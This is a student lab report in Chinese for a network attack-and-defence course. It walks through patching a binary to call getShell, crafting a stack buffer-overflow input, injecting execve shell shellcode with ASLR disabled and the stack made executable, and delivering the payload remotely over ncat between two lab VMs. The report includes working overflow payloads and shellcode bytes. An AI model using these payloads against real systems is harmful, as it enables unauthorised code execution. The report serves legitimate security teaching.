20232416 2025-2026-1《网络与系统攻防技术》实验一实验报告

news/2025/10/9 22:53:33/文章来源:https://www.cnblogs.com/shi0195/p/19131562

一、实验目标及内容

  • 实验内容:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    注入一个自己制作的shellcode并运行这段shellcode。
  • 实验目标:理解可执行文件与机器指令
    理解攻击缓冲区的结果,掌握返回地址的获取
    能正确构造payload进行Bof攻击

二、实验过程

1.基础知识

linux基础知识
  • ls:列出当前目录下的文件和文件夹
  • cd:切换目录
  • pwd:显示当前所在目录的路径
  • mkdir:创建新文件夹
  • cp:复制文件或文件夹
  • mv:移动或重命名文件或文件夹
  • rm:删除文件或文件夹
  • “|”:管道
  • “>”:输入、输出重定向
机器码基础知识
  • NOP:空操作,直接下一条指令
  • CMP:比较操作数,修改标志位
  • JMP:无条件跳转
  • JE/JZ:跳转指令,相等则跳转
  • JNE/JNZ:跳转指令,不等则跳转
反汇编与十六进制
  • 反汇编:objdump -d 操作文件
  • 切换为十六进制::%!xxd
  • 切换为原模式::%!xxd -r

2.实验过程

(1)进行反汇编

  先使用objdump -d pwn20232416 | more对文件进行反汇编,找到main函数、foo函数、getShell函数
反汇编
根据图片可知我们需要将08048491改为0804847d,二者求差取其补码可得0xffffc3,即将命令改为e8c3(其中e8是一种特殊的 "带返回地址保存" 的跳转机器码)。所以我们接下来要做的是更改“e8d7”为“e8c3”,代码如下:

cp pwn1 pwn20232416 
vi pwn20232416  #进入文件开始编辑
:%!xxd          #改为16进制并更改保存
:%!xxd -r       #改为原进制

  再反汇编查看是否成功。
“e8d7”修改“e8c3”成功
执行文件查看能否运行。

./pwn20232416
ls

getShall函数调用成功

(2)通过构造输入参数,造成BOF攻击,改变程序执行流

  首先安装gdb,命令如下:

sudo apt update
sudo apt install gdb

  安装成功截图如下:
gdb安装成功

反汇编
根据上图可知堆栈缓冲区为28字节,因此我们可以据此进行缓冲区溢出攻击,即先覆盖28字节地址再将其篡改为getShell地址,这里我选择以下示例覆盖地址:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd intput  #查看是否符合预期输入

查看输入,符合预期
符合预期输入。
然后通过管道符将input作为pwn1的输入并且使用ls命令查看是否能够运行。

(cat input; cat) | ./pwn1
ls

构造输入函数成功

(3)注入Shellcode并执行

  重新复制一份pwn文件命名为pwn20232416-0,通过patchelf工具设置堆栈可执行并查询是否可执行,关闭地址随机化。

patchelf --set-execstack pwn20232416-0     #设置堆栈可执行
readelf -l pwn20232416-0 | grep GNU_STACK
echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化
more /proc/sys/kernel/randomize_va_space       #查看输出是否为0,0则表示关闭地址随机化

堆栈可执行、关闭地址随机

  构造要注入的payload.

Perl-e'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode     

  打开另一个终端,将input_shellcode作为输入注入到pwn20232416-0.

构造缓冲区溢出

  使用命令来查看进程号并且启动gdb调试并设置断点。

ps -ef | grep pwn20232416-0
gdb
(gdb)attach 61728
(gdb)disassemble foo
(gdb)break *0x080484ae

查找进程号并且分析foo函数

  查看断点地址并查看该地址存放的内容。

(gdb)info r esp
(gdb) x/16x 0xffffd35c 

栈顶指针

  0xffffd35c + 0x00000004 = 0xffffd360
通过查询后计算可得到Shellcode地址后,生成输入文件。再以input_shellcode为输入运行pwn20232416-0

perl -e 'print "A" x 32 . "\x60\xd3\xff\xff"."\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode
(cat input_shellcode;cat) | ./pwn20232416-0

成功调用getShall函数

(4)结合nc模拟远程攻击

  首先下载ncat,命令如下:

sudo apt update
sudo apt install ncat

  我在VMware上装了两个kali虚拟机,主机1是20232416szw,主机2是20232416shizw,下面是两台机器的IP地址

主机1IP

主机2IP

  两个IP地址显然在同一局域网下,所以可以互相ping通,截图如下:

ping通截图

  在主机1,模拟一个有漏洞的网络服务。同时主机2,连接主机1并发送攻击载荷:

ncat -l 192.168.46.128 -p 28234  -e ./pwn20232416     #主机1命令(cat input_shellcode; cat) | nc 192.168.46.128 28234
ls                                                    #主机2命令

主机1

主机2远程连接成功

  ncat模拟远程攻击成功!!

三、问题及解决方案

1.管道破裂问题

管道破裂问题
这个问题总是出现在我通过管道将input作为pwn的输入时退出的问题,一开始并未找到“管道破裂”的问题所在,只能硬着头皮做下去发现后续没什么问题。后来发现这里应该是因为我在输入ls得到结果后强制退出导致的,并不影响任何实验结果。

2.execstack下载问题

下载问题
这个既无法通过命令行下载,也无法通过网址下载(显示404 NOT FOUND)方法是找到可替代工具patchelf,同时指令也会对应发生一些变化,见实验过程详细步骤。

3.进程失效问题

进程名改变导致的进程失效
这是因为每次运行时进程号都会改变,我刚开始将第一次进程结束时并未注意到这个问题,所以导致他一直报错,重新运行时只要找到对应的进程号即可。

4.nc无法远程连接问题

问题:nc无法实现远程连接

非法访问问题

  他这里出现三种问题,一种是根本没有任何反应,一种是段报错,还有一种是显示外来非法连接。需要注意的是,前两种是在同一台主机下两个终端出现的问题,最后一种是在两台kali虚拟机上出现的问题,我只解决了第三种也就是解决非法连接权限问题,那就是使用ncat命令(这是AI的解释)。

四、学习感悟及思考

  这次缓冲区溢出与Shellcode注入实验,让我对程序底层执行逻辑和网络安全有了更直观的认识。从修改机器码改程序流程,到构造攻击载荷触发漏洞,再到远程攻击模拟,每一步都让我感受到技术的精妙与风险的并存。过程中解决各类问题,也锻炼了我的动手和排错能力,更让我明白网络安全领域需要对技术原理有深入理解,同时要时刻保持安全防范意识。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/933909.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

day008

今日完成:html标签页的排列 明日完成:html 遇到问题:无

lzr 的区间(interval)

题目大意 题目传送门 给定一个序列 \(a\),问有多少个区间的异或和的二进制表示下一的个数为奇数。 思路 定义 \(f(l, r)\) 为区间 \([l, r]\) 之间的异或和,\(g(a)\) 表示 \(a\) 在二进制表示下 \(1\) 的个数。 因为…

IRB-120机械臂socket通信接受上位机指令运行程序段

IRB-120机械臂使用socket通信接受上位机指令程序段 功能:可接受坐标系坐标和单轴坐标,可实现相对运动或绝对运动 可与上位机握手避免连接错误 可向上位机发送当前位置(坐标系、单轴) MODULE Module1CONST robtarge…

1.1.1.1 金融市场的定义与功能

金融市场的定义与功能 1. 知识点的由来 历史渊源: 金融市场起源于古代的物物交换和货币借贷活动。最早可追溯到古巴比伦时期(公元前2000年左右)的借贷记录和贸易活动。真正的现代金融市场雏形出现在15-16世纪的意大…

使用c#操作elasticsearch8

注意事项 若Es的客户端版本是8.x以下,建议用NEST或者Elasticsearch.Net,这两个包最高只支持7.x系列。 若Es的客户端是8.x以上,则推荐使用Elastic.Clients.Elasticsearch。 注意选择版本的时候最好和客户端版本保持一…

使用虚幻引擎|UE5制作自动开关门 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

计算机中级

计算机中级Posted on 2025-10-09 22:39 心默默言 阅读(0) 评论(0) 收藏 举报计算机软考 0.考试介绍1.计算机系统知识

CF45C Dancing Lessons 题解

CF45C Dancing Lessons 题解 不就是洛谷的 P1878 吗,雾。 暴力的时间复杂度是 \(O(n^2)\) 的,考虑优化。 考虑使用优先队列。内部存三个元素:绝对值、左边的孩子、右边的孩子。 这样我们重载运算符可以以绝对值为第…

APUE学习笔记之文件IO(三) - Invinc

本文记录《UNIX环境高级编程》第3版中第3章文件IO的一些知识点。本文记录《UNIX环境高级编程》第3版中第3章文件IO的一些知识点。文件描述符 对于内核而言,所有打开的文件都通过文件描述符引用。文件描述符是一个非负…

tornado异步操作数据库-mysql

import json from tornado import web, ioloop import aiomysql settings = { "debug" : True, "mysql":{ "host": "127.0.0.1", "port": 3306, "user":…

供应链优化技术助力应对疫情挑战

本文探讨了某中心如何利用供应链优化技术应对疫情带来的长期需求高峰,包括深度学习预测模型、注意力机制在时间序列分析中的应用,以及自适应容量控制系统的优化与创新。在7月12日至13日,数百万会员访问某中心商店购…

搜索关键词 - 呓语

使用Trae开发一个能够根据输入的搜索关键词,同时搜索淘宝、京东等购物平台商品的比价程序(需要网络爬虫、本地客户端展示、本地客户端存储等技术) 刚开始告诉trae后,并没有爬取数据,而是在后端写了几个模拟数据,…

阅读《构建之法》产生的问题

好的,根据您提供的《构建之法》第16章和第17章的内容,我提出以下五个问题,并按照您的要求进行阐述。问题一:在敏捷开发和快速迭代的背景下,“萝卜”与“白菜”的价值该如何重新评估?问题来源与上下文这个问题来源…

每日反思

今天下大雨,明天上早八然后好好学习

每日反思(2025.10.09)

今天下雨,没有学额外内容。上午跟着算法与数据结构课学习了队列和栈,了解了队列的先进先出与栈的先进后出,学习了栈的基本原理

软件工程学习日志2025.10.9

📝 今日学习主题 简单工厂模式(Simple Factory Pattern) 在实际场景中的应用 🎯 模式理解 简单工厂模式属于创建型模式,它提供了一个统一的接口来创建不同类型的对象,而无需向客户端暴露实例化的逻辑。 核心思…

1.1.1.2 直接融资vs间接融资的区别

直接融资vs间接融资的区别 1. 知识点的由来 历史渊源: 直接融资和间接融资的分化起源于金融中介的演进。在古代,融资主要通过直接的借贷关系进行(直接融资)。随着银行业的发展,银行作为中介机构吸收存款再发放贷款…

柳高国庆小小说创作比赛的构思和成文(未完成)

宇宙创生 创作原因是学校在国庆开展小小说创作比赛。 #0 成文展示#1 创作构建 本小说完全参考游戏《群星》中关于"宇宙创生(文灾)"的游戏流程,来源于国庆爽打了一局群星(doge)。 使用了 DeepSeek 来完善构…

实用指南:制冷剂中表压对应温度值的获取(Selenium)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …